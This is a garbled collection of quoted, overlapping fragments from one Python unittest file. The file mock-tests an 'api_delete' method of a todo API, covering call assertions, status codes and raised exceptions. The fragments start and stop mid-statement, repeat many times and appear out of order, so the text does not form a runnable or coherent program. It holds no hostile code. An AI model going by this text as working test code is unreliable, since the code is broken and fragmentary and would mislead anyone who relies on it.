"mock_api.api_delete(mock_id) mock_api.api_delete.assert_called_with(mock_id) def test_method_api_delete_assert_that_called_once_with_id_1(self): with patch('src.Api.Api', autospec=True) as mock_api: mock_id = Mock() mock_id.return_value",
"autospec=True) as mock_api: todo_id = 1 mock_api.api_delete.return_value = {\"status_code\": 408} response = mock_api.api_delete(todo_id)",
"self.assertRaises(AssertionError): mock_api.api_delete.assert_called_once() def test_method_api_delete_assert_that_called_with_id_1_exception(self): with patch('src.Api.Api', autospec=True) as mock_api: mock_id = Mock() mock_id.return_value",
"import unittest import requests from assertpy import assert_that from requests.exceptions import Timeout from",
"mock_id2 = Mock() mock_id2.return_value = 2 mock_api.api_delete(mock_id2) with self.assertRaises(AssertionError): mock_api.api_delete.assert_called_with(mock_id) def test_method_api_delete_assert_that_called_once_with_id_1_exception(self): with",
"mock_api.api_delete.assert_called() def test_method_api_delete_assert_that_not_called(self): with patch('src.Api.Api', autospec=True) as mock_api: mock_id = Mock() mock_id.return_value =",
"assert_that from requests.exceptions import Timeout from unittest.mock import Mock, patch from src.Api import",
"test_method_api_delete_raises_timeout(self, mock_class): mock_id = Mock() mock_id.return_value = 1 mock_class.api_delete.side_effect = Timeout with self.assertRaises(Timeout):",
"= 1 mock_id2 = Mock() mock_id2.return_value = 2 mock_api.api_delete(mock_id) mock_api.api_delete(mock_id2) with self.assertRaises(AssertionError): mock_api.api_delete.assert_called_once()",
"patch('src.Api.Api', autospec=True) as mock_api: mock_id = Mock() mock_id.return_value = 1 mock_api.api_delete(mock_id) mock_api.api_delete.assert_called_once_with(mock_id) def",
"mock_api.api_delete(mock_id) mock_api.api_delete(mock_id2) with self.assertRaises(AssertionError): mock_api.api_delete.assert_called_once_with(mock_id) def test_method_api_delete_no_parameter_exception(self): with patch('src.Api.Api', autospec=True) as mock_api: with",
"= mock_api.api_delete(todo_id) assert_that(response[\"deleted_data\"]).is_equal_to(todos[0]) def test_method_api_delete_assert_that_response_deleted_data_contain_all_keys_userId_id_title_completed(self): with patch('src.Api.Api', autospec=True) as mock_api: todo_id = 1",
"patch('src.Api.Api', autospec=True) as mock_api: mock_id = Mock() mock_id.return_value = 1 mock_id2 = Mock()",
"mock_id.return_value = 1 mock_id2 = Mock() mock_id2.return_value = 2 mock_api.api_delete(mock_id) mock_api.api_delete(mock_id2) with self.assertRaises(AssertionError):",
"\"title\", \"completed\") def test_method_api_delete_assert_that_not_called_exception(self): with patch('src.Api.Api', autospec=True) as mock_api: mock_id = Mock() mock_id.return_value",
"autospec=True) as mock_api: mock_id = Mock() mock_id.return_value = 1 mock_id2 = Mock() mock_id2.return_value",
"with patch('src.Api.Api', autospec=True) as mock_api: mock_id = Mock() mock_id.return_value = 1 mock_api.api_delete.assert_not_called() def",
"= {\"status_code\": 408} mock_api.api_delete.side_effect = ValueError assert_that(mock_api.api_delete).raises(ValueError).when_called_with(todo_id) def test_method_api_delete_assert_that_response_returns_TypeError_when_called_with_id_not_int_exception(self): with patch('src.Api.Api', autospec=True) as",
"= 1 mock_id2 = Mock() mock_id2.return_value = 2 mock_api.api_delete(mock_id) mock_api.api_delete(mock_id2) with self.assertRaises(AssertionError): mock_api.api_delete.assert_called_once_with(mock_id)",
"class TestApiMonkeyPatch(unittest.TestCase): @patch('src.Api.Api', autospec=True) def test_method_api_delete_raises_timeout(self, mock_class): mock_id = Mock() mock_id.return_value = 1",
"from src.todos import todos class TestApiMonkeyPatch(unittest.TestCase): @patch('src.Api.Api', autospec=True) def test_method_api_delete_raises_timeout(self, mock_class): mock_id =",
"mock_id = Mock() mock_id.return_value = 1 mock_id2 = Mock() mock_id2.return_value = 2 mock_api.api_delete(mock_id2)",
"\"id\", \"title\", \"completed\") def test_method_api_delete_assert_that_not_called_exception(self): with patch('src.Api.Api', autospec=True) as mock_api: mock_id = Mock()",
"= mock_api.api_delete(todo_id) assert_that(response[\"status_code\"]).is_not_equal_to(200) def test_method_api_delete_assert_that_response_is_instance_of_dict(self): with patch('src.Api.Api', autospec=True) as mock_api: todo_id = 1",
"mock_id = Mock() mock_id.return_value = 1 mock_api.api_delete.assert_not_called() def test_method_api_delete_assert_that_called_with_id_1(self): with patch('src.Api.Api', autospec=True) as",
"test_method_api_delete_assert_that_called(self): with patch('src.Api.Api', autospec=True) as mock_api: mock_id = Mock() mock_id.return_value = 1 mock_id2",
"\"status_code\": 200} response = mock_api.api_delete(todo_id) assert_that(response[\"deleted_data\"]).is_equal_to(todos[0]) def test_method_api_delete_assert_that_response_deleted_data_contain_all_keys_userId_id_title_completed(self): with patch('src.Api.Api', autospec=True) as mock_api:",
"assertpy import assert_that from requests.exceptions import Timeout from unittest.mock import Mock, patch from",
"= Mock() mock_id.return_value = 1 mock_api.api_delete(mock_id) mock_api.api_delete.assert_called_with(mock_id) def test_method_api_delete_assert_that_called_once_with_id_1(self): with patch('src.Api.Api', autospec=True) as",
"= Mock() mock_id.return_value = 1 mock_api.api_delete(mock_id) mock_api.api_delete.assert_called_once_with(mock_id) def test_method_api_delete_assert_that_response_has_status_code_200(self): with patch('src.Api.Api', autospec=True) as",
"= TypeError assert_that(mock_api.api_delete).raises(TypeError).when_called_with(todo_id) def test_method_api_delete_assert_that_response_returns_AttributeError_when_called_with_None_exception(self): with patch('src.Api.Api', autospec=True) as mock_api: todo_id = None",
"patch('src.Api.Api', autospec=True) as mock_api: mock_id = Mock() mock_id.return_value = 1 mock_api.api_delete(mock_id) mock_api.api_delete.assert_called_with(mock_id) def",
"test_method_api_delete_assert_that_response_has_status_code_200(self): with patch('src.Api.Api', autospec=True) as mock_api: todo_id = 1 mock_api.api_delete.return_value = {\"delete_id\": todo_id,",
"with self.assertRaises(AssertionError): mock_api.api_delete.assert_not_called() def test_method_api_delete_assert_that_called_once_exception(self): with patch('src.Api.Api', autospec=True) as mock_api: mock_id = Mock()",
"todo_id = \"1\" mock_api.api_delete.return_value = {\"status_code\": 408} mock_api.api_delete.side_effect = TypeError assert_that(mock_api.api_delete).raises(TypeError).when_called_with(todo_id) def test_method_api_delete_assert_that_response_returns_AttributeError_when_called_with_None_exception(self):",
"with patch('src.Api.Api', autospec=True) as mock_api: todo_id = \"1\" mock_api.api_delete.return_value = {\"status_code\": 408} mock_api.api_delete.side_effect",
"mock_class.api_delete.side_effect = Timeout with self.assertRaises(Timeout): mock_class.api_delete(mock_id) def test_method_api_delete_assert_that_called_once(self): with patch('src.Api.Api', autospec=True) as mock_api:",
"with patch('src.Api.Api', autospec=True) as mock_api: mock_id = Mock() mock_id.return_value = 1 mock_api.api_delete(mock_id) mock_api.api_delete.assert_called_once_with(mock_id)",
"200} response = mock_api.api_delete(todo_id) assert_that(response[\"deleted_data\"]).contains_key(\"userId\", \"id\", \"title\", \"completed\") def test_method_api_delete_assert_that_not_called_exception(self): with patch('src.Api.Api', autospec=True)",
"ValueError assert_that(mock_api.api_delete).raises(ValueError).when_called_with(todo_id) def test_method_api_delete_assert_that_response_returns_TypeError_when_called_with_id_not_int_exception(self): with patch('src.Api.Api', autospec=True) as mock_api: todo_id = \"1\" mock_api.api_delete.return_value",
"test_method_api_delete_assert_that_called_with_id_1(self): with patch('src.Api.Api', autospec=True) as mock_api: mock_id = Mock() mock_id.return_value = 1 mock_api.api_delete(mock_id)",
"patch('src.Api.Api', autospec=True) as mock_api: todo_id = \"1\" mock_api.api_delete.return_value = {\"status_code\": 408} mock_api.api_delete.side_effect =",
"unittest import requests from assertpy import assert_that from requests.exceptions import Timeout from unittest.mock",
"mock_id = Mock() mock_id.return_value = 1 mock_class.api_delete.side_effect = Timeout with self.assertRaises(Timeout): mock_class.api_delete(mock_id) def",
"patch('src.Api.Api', autospec=True) as mock_api: mock_id = Mock() mock_id.return_value = 1 mock_api.api_delete(mock_id) mock_api.api_delete.assert_called_once() def",
"test_method_api_delete_assert_that_response_status_code_is_not_200(self): with patch('src.Api.Api', autospec=True) as mock_api: todo_id = 1 mock_api.api_delete.return_value = {\"status_code\": 408}",
"mock_id2 = Mock() mock_id2.return_value = 2 mock_api.api_delete(mock_id) mock_api.api_delete(mock_id2) with self.assertRaises(AssertionError): mock_api.api_delete.assert_called_once() def test_method_api_delete_assert_that_called_with_id_1_exception(self):",
"408} mock_api.api_delete.side_effect = ValueError assert_that(mock_api.api_delete).raises(ValueError).when_called_with(todo_id) def test_method_api_delete_assert_that_response_returns_ValueError_when_called_with_id_300_exception(self): with patch('src.Api.Api', autospec=True) as mock_api: todo_id",
"autospec=True) as mock_api: mock_id = Mock() mock_id.return_value = 1 mock_api.api_delete(mock_id) mock_api.api_delete.assert_called_with(mock_id) def test_method_api_delete_assert_that_called_once_with_id_1(self):",
"mock_id.return_value = 1 mock_api.api_delete(mock_id) mock_api.api_delete.assert_called_once() def test_method_api_delete_assert_that_called(self): with patch('src.Api.Api', autospec=True) as mock_api: mock_id",
"1 mock_api.api_delete.return_value = {\"delete_id\": todo_id, \"deleted_data\": todos[todo_id - 1], \"status_code\": 200} response =",
"Mock() mock_id.return_value = 1 mock_api.api_delete.assert_not_called() def test_method_api_delete_assert_that_called_with_id_1(self): with patch('src.Api.Api', autospec=True) as mock_api: mock_id",
"mock_api.api_delete.side_effect = ValueError assert_that(mock_api.api_delete).raises(ValueError).when_called_with(todo_id) def test_method_api_delete_assert_that_response_returns_ValueError_when_called_with_id_300_exception(self): with patch('src.Api.Api', autospec=True) as mock_api: todo_id =",
"{\"status_code\": 408} mock_api.api_delete.side_effect = ValueError assert_that(mock_api.api_delete).raises(ValueError).when_called_with(todo_id) def test_method_api_delete_assert_that_response_returns_TypeError_when_called_with_id_not_int_exception(self): with patch('src.Api.Api', autospec=True) as mock_api:",
"def test_method_api_delete_assert_that_called_once_exception(self): with patch('src.Api.Api', autospec=True) as mock_api: mock_id = Mock() mock_id.return_value = 1",
"test_method_api_delete_assert_that_called_once_with_id_1_exception(self): with patch('src.Api.Api', autospec=True) as mock_api: mock_id = Mock() mock_id.return_value = 1 mock_id2",
"mock_api.api_delete.return_value = {\"status_code\": 408} response = mock_api.api_delete(todo_id) assert_that(response[\"status_code\"]).is_not_equal_to(200) def test_method_api_delete_assert_that_response_is_instance_of_dict(self): with patch('src.Api.Api', autospec=True)",
"test_method_api_delete_assert_that_called_once(self): with patch('src.Api.Api', autospec=True) as mock_api: mock_id = Mock() mock_id.return_value = 1 mock_api.api_delete(mock_id)",
"1 mock_api.api_delete(mock_id) mock_api.api_delete.assert_called_once() def test_method_api_delete_assert_that_called(self): with patch('src.Api.Api', autospec=True) as mock_api: mock_id = Mock()",
"mock_api.api_delete.assert_called_with(mock_id) def test_method_api_delete_assert_that_called_once_with_id_1_exception(self): with patch('src.Api.Api', autospec=True) as mock_api: mock_id = Mock() mock_id.return_value =",
"autospec=True) as mock_api: mock_id = Mock() mock_id.return_value = 1 mock_api.api_delete(mock_id) mock_api.api_delete.assert_called_once_with(mock_id) def test_method_api_delete_assert_that_response_has_status_code_200(self):",
"with patch('src.Api.Api', autospec=True) as mock_api: todo_id = 0 mock_api.api_delete.return_value = {\"status_code\": 408} mock_api.api_delete.side_effect",
"\"deleted_data\": todos[todo_id - 1], \"status_code\": 200} response = mock_api.api_delete(todo_id) assert_that(response).has_delete_id(1) def test_method_api_delete_assert_that_response_returns_deleted_data(self): with",
"patch from src.Api import Api from src.todos import todos class TestApiMonkeyPatch(unittest.TestCase): @patch('src.Api.Api', autospec=True)",
"\"1\" mock_api.api_delete.return_value = {\"status_code\": 408} mock_api.api_delete.side_effect = TypeError assert_that(mock_api.api_delete).raises(TypeError).when_called_with(todo_id) def test_method_api_delete_assert_that_response_returns_AttributeError_when_called_with_None_exception(self): with patch('src.Api.Api',",
"1 mock_id2 = Mock() mock_id2.return_value = 2 mock_api.api_delete(mock_id) mock_api.api_delete(mock_id2) mock_api.api_delete.assert_called() def test_method_api_delete_assert_that_not_called(self): with",
"= {\"status_code\": 408} mock_api.api_delete.side_effect = ValueError assert_that(mock_api.api_delete).raises(ValueError).when_called_with(todo_id) def test_method_api_delete_assert_that_response_returns_ValueError_when_called_with_id_300_exception(self): with patch('src.Api.Api', autospec=True) as",
"with patch('src.Api.Api', autospec=True) as mock_api: mock_id = Mock() mock_id.return_value = 1 mock_api.api_delete(mock_id) with",
"requests.exceptions import Timeout from unittest.mock import Mock, patch from src.Api import Api from",
"= Mock() mock_id2.return_value = 2 mock_api.api_delete(mock_id2) with self.assertRaises(AssertionError): mock_api.api_delete.assert_called_with(mock_id) def test_method_api_delete_assert_that_called_once_with_id_1_exception(self): with patch('src.Api.Api',",
"test_method_api_delete_no_parameter_exception(self): with patch('src.Api.Api', autospec=True) as mock_api: with self.assertRaises(TypeError): mock_api.api_delete() def test_method_api_delete_assert_that_response_returns_ValueError_when_called_with_id_0_exception(self): with patch('src.Api.Api',",
"assert_that(mock_api.api_delete).raises(ValueError).when_called_with(todo_id) def test_method_api_delete_assert_that_response_returns_TypeError_when_called_with_id_not_int_exception(self): with patch('src.Api.Api', autospec=True) as mock_api: todo_id = \"1\" mock_api.api_delete.return_value =",
"Timeout with self.assertRaises(Timeout): mock_class.api_delete(mock_id) def test_method_api_delete_assert_that_called_once(self): with patch('src.Api.Api', autospec=True) as mock_api: mock_id =",
"with patch('src.Api.Api', autospec=True) as mock_api: mock_id = Mock() mock_id.return_value = 1 mock_api.api_delete(mock_id) mock_api.api_delete.assert_called_once()",
"Mock() mock_id.return_value = 1 mock_api.api_delete(mock_id) mock_api.api_delete.assert_called_once() def test_method_api_delete_assert_that_called(self): with patch('src.Api.Api', autospec=True) as mock_api:",
"{\"delete_id\": todo_id, \"deleted_data\": todos[todo_id - 1], \"status_code\": 200} response = mock_api.api_delete(todo_id) assert_that(response[\"deleted_data\"]).contains_key(\"userId\", \"id\",",
"Mock() mock_id.return_value = 1 mock_id2 = Mock() mock_id2.return_value = 2 mock_api.api_delete(mock_id2) with self.assertRaises(AssertionError):",
"as mock_api: todo_id = None mock_api.api_delete.return_value = {\"status_code\": 408} mock_api.api_delete.side_effect = AttributeError assert_that(mock_api.api_delete).raises(AttributeError).when_called_with(todo_id)",
"def test_method_api_delete_assert_that_response_is_instance_of_dict(self): with patch('src.Api.Api', autospec=True) as mock_api: todo_id = 1 mock_api.api_delete.return_value = {\"delete_id\":",
"= 1 mock_id2 = Mock() mock_id2.return_value = 2 mock_api.api_delete(mock_id2) with self.assertRaises(AssertionError): mock_api.api_delete.assert_called_with(mock_id) def",
"1], \"status_code\": 200} response = mock_api.api_delete(todo_id) assert_that(response).has_status_code(200) def test_method_api_delete_assert_that_response_status_code_is_not_200(self): with patch('src.Api.Api', autospec=True) as",
"= None mock_api.api_delete.return_value = {\"status_code\": 408} mock_api.api_delete.side_effect = AttributeError assert_that(mock_api.api_delete).raises(AttributeError).when_called_with(todo_id) if __name__ ==",
"mock_api.api_delete.side_effect = ValueError assert_that(mock_api.api_delete).raises(ValueError).when_called_with(todo_id) def test_method_api_delete_assert_that_response_returns_TypeError_when_called_with_id_not_int_exception(self): with patch('src.Api.Api', autospec=True) as mock_api: todo_id =",
"= 1 mock_api.api_delete.assert_not_called() def test_method_api_delete_assert_that_called_with_id_1(self): with patch('src.Api.Api', autospec=True) as mock_api: mock_id = Mock()",
"200} response = mock_api.api_delete(todo_id) assert_that(response).has_status_code(200) def test_method_api_delete_assert_that_response_status_code_is_not_200(self): with patch('src.Api.Api', autospec=True) as mock_api: todo_id",
"TypeError assert_that(mock_api.api_delete).raises(TypeError).when_called_with(todo_id) def test_method_api_delete_assert_that_response_returns_AttributeError_when_called_with_None_exception(self): with patch('src.Api.Api', autospec=True) as mock_api: todo_id = None mock_api.api_delete.return_value",
"mock_api: mock_id = Mock() mock_id.return_value = 1 mock_api.api_delete(mock_id) mock_api.api_delete.assert_called_once() def test_method_api_delete_assert_that_called(self): with patch('src.Api.Api',",
"- 1], \"status_code\": 200} response = mock_api.api_delete(todo_id) assert_that(response).is_instance_of(dict) def test_method_api_delete_assert_that_response_has_key_delete_id_1(self): with patch('src.Api.Api', autospec=True)",
"assert_that(response).is_instance_of(dict) def test_method_api_delete_assert_that_response_has_key_delete_id_1(self): with patch('src.Api.Api', autospec=True) as mock_api: todo_id = 1 mock_api.api_delete.return_value =",
"as mock_api: todo_id = \"1\" mock_api.api_delete.return_value = {\"status_code\": 408} mock_api.api_delete.side_effect = TypeError assert_that(mock_api.api_delete).raises(TypeError).when_called_with(todo_id)",
"mock_api.api_delete.return_value = {\"delete_id\": todo_id, \"deleted_data\": todos[todo_id - 1], \"status_code\": 200} response = mock_api.api_delete(todo_id)",
"= Timeout with self.assertRaises(Timeout): mock_class.api_delete(mock_id) def test_method_api_delete_assert_that_called_once(self): with patch('src.Api.Api', autospec=True) as mock_api: mock_id",
"patch('src.Api.Api', autospec=True) as mock_api: todo_id = 0 mock_api.api_delete.return_value = {\"status_code\": 408} mock_api.api_delete.side_effect =",
"patch('src.Api.Api', autospec=True) as mock_api: todo_id = None mock_api.api_delete.return_value = {\"status_code\": 408} mock_api.api_delete.side_effect =",
"mock_api.api_delete.assert_called_once() def test_method_api_delete_assert_that_called(self): with patch('src.Api.Api', autospec=True) as mock_api: mock_id = Mock() mock_id.return_value =",
"from unittest.mock import Mock, patch from src.Api import Api from src.todos import todos",
"response = mock_api.api_delete(todo_id) assert_that(response).is_instance_of(dict) def test_method_api_delete_assert_that_response_has_key_delete_id_1(self): with patch('src.Api.Api', autospec=True) as mock_api: todo_id =",
"TestApiMonkeyPatch(unittest.TestCase): @patch('src.Api.Api', autospec=True) def test_method_api_delete_raises_timeout(self, mock_class): mock_id = Mock() mock_id.return_value = 1 mock_class.api_delete.side_effect",
"mock_api: mock_id = Mock() mock_id.return_value = 1 mock_api.api_delete(mock_id) mock_api.api_delete.assert_called_with(mock_id) def test_method_api_delete_assert_that_called_once_with_id_1(self): with patch('src.Api.Api',",
"as mock_api: mock_id = Mock() mock_id.return_value = 1 mock_api.api_delete(mock_id) mock_api.api_delete.assert_called_once() def test_method_api_delete_assert_that_called(self): with",
"0 mock_api.api_delete.return_value = {\"status_code\": 408} mock_api.api_delete.side_effect = ValueError assert_that(mock_api.api_delete).raises(ValueError).when_called_with(todo_id) def test_method_api_delete_assert_that_response_returns_ValueError_when_called_with_id_300_exception(self): with patch('src.Api.Api',",
"mock_api.api_delete.side_effect = TypeError assert_that(mock_api.api_delete).raises(TypeError).when_called_with(todo_id) def test_method_api_delete_assert_that_response_returns_AttributeError_when_called_with_None_exception(self): with patch('src.Api.Api', autospec=True) as mock_api: todo_id =",
"as mock_api: mock_id = Mock() mock_id.return_value = 1 mock_api.api_delete(mock_id) mock_api.api_delete.assert_called_once_with(mock_id) def test_method_api_delete_assert_that_response_has_status_code_200(self): with",
"= mock_api.api_delete(todo_id) assert_that(response).is_instance_of(dict) def test_method_api_delete_assert_that_response_has_key_delete_id_1(self): with patch('src.Api.Api', autospec=True) as mock_api: todo_id = 1",
"1 mock_id2 = Mock() mock_id2.return_value = 2 mock_api.api_delete(mock_id) mock_api.api_delete(mock_id2) with self.assertRaises(AssertionError): mock_api.api_delete.assert_called_once_with(mock_id) def",
"mock_id = Mock() mock_id.return_value = 1 mock_api.api_delete(mock_id) mock_api.api_delete.assert_called_once() def test_method_api_delete_assert_that_called(self): with patch('src.Api.Api', autospec=True)",
"as mock_api: mock_id = Mock() mock_id.return_value = 1 mock_api.api_delete(mock_id) mock_api.api_delete.assert_called_with(mock_id) def test_method_api_delete_assert_that_called_once_with_id_1(self): with",
"1], \"status_code\": 200} response = mock_api.api_delete(todo_id) assert_that(response).is_instance_of(dict) def test_method_api_delete_assert_that_response_has_key_delete_id_1(self): with patch('src.Api.Api', autospec=True) as",
"with self.assertRaises(AssertionError): mock_api.api_delete.assert_called_once_with(mock_id) def test_method_api_delete_no_parameter_exception(self): with patch('src.Api.Api', autospec=True) as mock_api: with self.assertRaises(TypeError): mock_api.api_delete()",
"mock_api.api_delete() def test_method_api_delete_assert_that_response_returns_ValueError_when_called_with_id_0_exception(self): with patch('src.Api.Api', autospec=True) as mock_api: todo_id = 0 mock_api.api_delete.return_value =",
"= Mock() mock_id.return_value = 1 mock_api.api_delete(mock_id) mock_api.api_delete.assert_called_once() def test_method_api_delete_assert_that_called(self): with patch('src.Api.Api', autospec=True) as",
"mock_class.api_delete(mock_id) def test_method_api_delete_assert_that_called_once(self): with patch('src.Api.Api', autospec=True) as mock_api: mock_id = Mock() mock_id.return_value =",
"mock_api.api_delete.assert_called_once() def test_method_api_delete_assert_that_called_with_id_1_exception(self): with patch('src.Api.Api', autospec=True) as mock_api: mock_id = Mock() mock_id.return_value =",
"mock_id = Mock() mock_id.return_value = 1 mock_api.api_delete(mock_id) mock_api.api_delete.assert_called_once_with(mock_id) def test_method_api_delete_assert_that_response_has_status_code_200(self): with patch('src.Api.Api', autospec=True)",
"= {\"status_code\": 408} response = mock_api.api_delete(todo_id) assert_that(response[\"status_code\"]).is_not_equal_to(200) def test_method_api_delete_assert_that_response_is_instance_of_dict(self): with patch('src.Api.Api', autospec=True) as",
"None mock_api.api_delete.return_value = {\"status_code\": 408} mock_api.api_delete.side_effect = AttributeError assert_that(mock_api.api_delete).raises(AttributeError).when_called_with(todo_id) if __name__ == '__main__':",
"unittest.mock import Mock, patch from src.Api import Api from src.todos import todos class",
"mock_api.api_delete(mock_id) mock_api.api_delete.assert_called_once() def test_method_api_delete_assert_that_called(self): with patch('src.Api.Api', autospec=True) as mock_api: mock_id = Mock() mock_id.return_value",
"2 mock_api.api_delete(mock_id2) with self.assertRaises(AssertionError): mock_api.api_delete.assert_called_with(mock_id) def test_method_api_delete_assert_that_called_once_with_id_1_exception(self): with patch('src.Api.Api', autospec=True) as mock_api: mock_id",
"mock_api.api_delete.assert_called_once_with(mock_id) def test_method_api_delete_assert_that_response_has_status_code_200(self): with patch('src.Api.Api', autospec=True) as mock_api: todo_id = 1 mock_api.api_delete.return_value =",
"test_method_api_delete_assert_that_response_has_key_delete_id_1(self): with patch('src.Api.Api', autospec=True) as mock_api: todo_id = 1 mock_api.api_delete.return_value = {\"delete_id\": todo_id,",
"1 mock_api.api_delete.return_value = {\"status_code\": 408} response = mock_api.api_delete(todo_id) assert_that(response[\"status_code\"]).is_not_equal_to(200) def test_method_api_delete_assert_that_response_is_instance_of_dict(self): with patch('src.Api.Api',",
"assert_that(response[\"deleted_data\"]).is_equal_to(todos[0]) def test_method_api_delete_assert_that_response_deleted_data_contain_all_keys_userId_id_title_completed(self): with patch('src.Api.Api', autospec=True) as mock_api: todo_id = 1 mock_api.api_delete.return_value =",
"import requests from assertpy import assert_that from requests.exceptions import Timeout from unittest.mock import",
"as mock_api: todo_id = 1 mock_api.api_delete.return_value = {\"delete_id\": todo_id, \"deleted_data\": todos[todo_id - 1],",
"ValueError assert_that(mock_api.api_delete).raises(ValueError).when_called_with(todo_id) def test_method_api_delete_assert_that_response_returns_ValueError_when_called_with_id_300_exception(self): with patch('src.Api.Api', autospec=True) as mock_api: todo_id = 300 mock_api.api_delete.return_value",
"mock_api: todo_id = 300 mock_api.api_delete.return_value = {\"status_code\": 408} mock_api.api_delete.side_effect = ValueError assert_that(mock_api.api_delete).raises(ValueError).when_called_with(todo_id) def",
"1 mock_id2 = Mock() mock_id2.return_value = 2 mock_api.api_delete(mock_id2) with self.assertRaises(AssertionError): mock_api.api_delete.assert_called_with(mock_id) def test_method_api_delete_assert_that_called_once_with_id_1_exception(self):",
"= 1 mock_class.api_delete.side_effect = Timeout with self.assertRaises(Timeout): mock_class.api_delete(mock_id) def test_method_api_delete_assert_that_called_once(self): with patch('src.Api.Api', autospec=True)",
"def test_method_api_delete_assert_that_called_with_id_1_exception(self): with patch('src.Api.Api', autospec=True) as mock_api: mock_id = Mock() mock_id.return_value = 1",
"@patch('src.Api.Api', autospec=True) def test_method_api_delete_raises_timeout(self, mock_class): mock_id = Mock() mock_id.return_value = 1 mock_class.api_delete.side_effect =",
"mock_api.api_delete(mock_id2) with self.assertRaises(AssertionError): mock_api.api_delete.assert_called_with(mock_id) def test_method_api_delete_assert_that_called_once_with_id_1_exception(self): with patch('src.Api.Api', autospec=True) as mock_api: mock_id =",
"mock_api.api_delete(todo_id) assert_that(response[\"deleted_data\"]).contains_key(\"userId\", \"id\", \"title\", \"completed\") def test_method_api_delete_assert_that_not_called_exception(self): with patch('src.Api.Api', autospec=True) as mock_api: mock_id",
"todos[todo_id - 1], \"status_code\": 200} response = mock_api.api_delete(todo_id) assert_that(response[\"deleted_data\"]).contains_key(\"userId\", \"id\", \"title\", \"completed\") def",
"1], \"status_code\": 200} response = mock_api.api_delete(todo_id) assert_that(response[\"deleted_data\"]).is_equal_to(todos[0]) def test_method_api_delete_assert_that_response_deleted_data_contain_all_keys_userId_id_title_completed(self): with patch('src.Api.Api', autospec=True) as",
"mock_api.api_delete(todo_id) assert_that(response[\"status_code\"]).is_not_equal_to(200) def test_method_api_delete_assert_that_response_is_instance_of_dict(self): with patch('src.Api.Api', autospec=True) as mock_api: todo_id = 1 mock_api.api_delete.return_value",
"Mock() mock_id2.return_value = 2 mock_api.api_delete(mock_id) mock_api.api_delete(mock_id2) with self.assertRaises(AssertionError): mock_api.api_delete.assert_called_once_with(mock_id) def test_method_api_delete_no_parameter_exception(self): with patch('src.Api.Api',",
"= mock_api.api_delete(todo_id) assert_that(response).has_status_code(200) def test_method_api_delete_assert_that_response_status_code_is_not_200(self): with patch('src.Api.Api', autospec=True) as mock_api: todo_id = 1",
"Mock() mock_id.return_value = 1 mock_api.api_delete(mock_id) mock_api.api_delete.assert_called_once_with(mock_id) def test_method_api_delete_assert_that_response_has_status_code_200(self): with patch('src.Api.Api', autospec=True) as mock_api:",
"\"deleted_data\": todos[todo_id - 1], \"status_code\": 200} response = mock_api.api_delete(todo_id) assert_that(response).has_status_code(200) def test_method_api_delete_assert_that_response_status_code_is_not_200(self): with",
"1 mock_api.api_delete(mock_id) mock_api.api_delete.assert_called_once_with(mock_id) def test_method_api_delete_assert_that_response_has_status_code_200(self): with patch('src.Api.Api', autospec=True) as mock_api: todo_id = 1",
"todos[todo_id - 1], \"status_code\": 200} response = mock_api.api_delete(todo_id) assert_that(response).has_status_code(200) def test_method_api_delete_assert_that_response_status_code_is_not_200(self): with patch('src.Api.Api',",
"Timeout from unittest.mock import Mock, patch from src.Api import Api from src.todos import",
"def test_method_api_delete_assert_that_response_has_key_delete_id_1(self): with patch('src.Api.Api', autospec=True) as mock_api: todo_id = 1 mock_api.api_delete.return_value = {\"delete_id\":",
"as mock_api: todo_id = 0 mock_api.api_delete.return_value = {\"status_code\": 408} mock_api.api_delete.side_effect = ValueError assert_that(mock_api.api_delete).raises(ValueError).when_called_with(todo_id)",
"response = mock_api.api_delete(todo_id) assert_that(response[\"status_code\"]).is_not_equal_to(200) def test_method_api_delete_assert_that_response_is_instance_of_dict(self): with patch('src.Api.Api', autospec=True) as mock_api: todo_id =",
"mock_api.api_delete.assert_not_called() def test_method_api_delete_assert_that_called_once_exception(self): with patch('src.Api.Api', autospec=True) as mock_api: mock_id = Mock() mock_id.return_value =",
"mock_api.api_delete(mock_id2) mock_api.api_delete.assert_called() def test_method_api_delete_assert_that_not_called(self): with patch('src.Api.Api', autospec=True) as mock_api: mock_id = Mock() mock_id.return_value",
"mock_id = Mock() mock_id.return_value = 1 mock_api.api_delete(mock_id) mock_api.api_delete.assert_called_with(mock_id) def test_method_api_delete_assert_that_called_once_with_id_1(self): with patch('src.Api.Api', autospec=True)",
"todo_id, \"deleted_data\": todos[todo_id - 1], \"status_code\": 200} response = mock_api.api_delete(todo_id) assert_that(response).has_delete_id(1) def test_method_api_delete_assert_that_response_returns_deleted_data(self):",
"self.assertRaises(AssertionError): mock_api.api_delete.assert_called_with(mock_id) def test_method_api_delete_assert_that_called_once_with_id_1_exception(self): with patch('src.Api.Api', autospec=True) as mock_api: mock_id = Mock() mock_id.return_value",
"= Mock() mock_id.return_value = 1 mock_api.api_delete(mock_id) with self.assertRaises(AssertionError): mock_api.api_delete.assert_not_called() def test_method_api_delete_assert_that_called_once_exception(self): with patch('src.Api.Api',",
"2 mock_api.api_delete(mock_id) mock_api.api_delete(mock_id2) mock_api.api_delete.assert_called() def test_method_api_delete_assert_that_not_called(self): with patch('src.Api.Api', autospec=True) as mock_api: mock_id =",
"1 mock_api.api_delete.assert_not_called() def test_method_api_delete_assert_that_called_with_id_1(self): with patch('src.Api.Api', autospec=True) as mock_api: mock_id = Mock() mock_id.return_value",
"= {\"delete_id\": todo_id, \"deleted_data\": todos[todo_id - 1], \"status_code\": 200} response = mock_api.api_delete(todo_id) assert_that(response).has_status_code(200)",
"= 1 mock_api.api_delete(mock_id) mock_api.api_delete.assert_called_once_with(mock_id) def test_method_api_delete_assert_that_response_has_status_code_200(self): with patch('src.Api.Api', autospec=True) as mock_api: todo_id =",
"Mock() mock_id.return_value = 1 mock_api.api_delete(mock_id) with self.assertRaises(AssertionError): mock_api.api_delete.assert_not_called() def test_method_api_delete_assert_that_called_once_exception(self): with patch('src.Api.Api', autospec=True)",
"todos[todo_id - 1], \"status_code\": 200} response = mock_api.api_delete(todo_id) assert_that(response[\"deleted_data\"]).is_equal_to(todos[0]) def test_method_api_delete_assert_that_response_deleted_data_contain_all_keys_userId_id_title_completed(self): with patch('src.Api.Api',",
"assert_that(response).has_status_code(200) def test_method_api_delete_assert_that_response_status_code_is_not_200(self): with patch('src.Api.Api', autospec=True) as mock_api: todo_id = 1 mock_api.api_delete.return_value =",
"mock_id2 = Mock() mock_id2.return_value = 2 mock_api.api_delete(mock_id) mock_api.api_delete(mock_id2) with self.assertRaises(AssertionError): mock_api.api_delete.assert_called_once_with(mock_id) def test_method_api_delete_no_parameter_exception(self):",
